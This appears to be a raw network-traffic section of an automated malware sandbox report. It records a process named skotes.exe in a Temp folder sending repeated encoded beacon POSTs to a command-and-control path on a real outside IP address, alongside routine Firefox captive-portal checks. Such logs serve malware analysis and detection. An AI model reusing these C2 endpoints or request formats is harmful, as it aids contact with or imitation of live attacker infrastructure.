Oct 26, 2024 08:55:18.883339882 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:19.494566917 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61141 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:55:19.526046991 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:19.653635979 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61141 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:55:19.775463104 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:19.903208017 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61141 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:55:20.153772116 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:20.282762051 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61142 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:55:20.398653030 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:20.526540041 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61142 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:55:21.227951050 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:21.356030941 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61143 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:55:21.856796026 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:21.984733105 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61143 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:55:22.482224941 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:22.609755039 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61144 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:55:24.844831944 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:24.985521078 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61146 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:55:35.055102110 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:55:36.097364902 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:36.224971056 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61158 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:55:46.074673891 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:46.202639103 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61168 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:55:46.704571009 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:46.832642078 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61168 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:55:56.865653992 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:55:56.903835058 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:57.031538963 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61178 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:56:07.065826893 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:56:15.984627008 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:56:16.112827063 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61198 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:56:16.623303890 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:56:16.955378056 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61198 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:56:20.485944033 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:56:20.614022970 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61202 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:56:30.669226885 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:56:37.891329050 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:56:38.019821882 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61219 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 26, 2024 08:56:48.055346966 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:56:58.062916040 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:57:08.069200993 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:57:18.096595049 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	50133	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:19.186203957 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:55:20.104945898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	50139	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:20.135040998 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	50143	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:21.740317106 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:55:22.654573917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	50146	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:24.231846094 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:55:25.350644112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 26, 2024 08:55:25.351169109 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	50147	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:26.995942116 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:55:27.900011063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	50148	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:29.433204889 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:55:30.364887953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	50149	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:32.216665983 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:55:33.134828091 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	50150	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
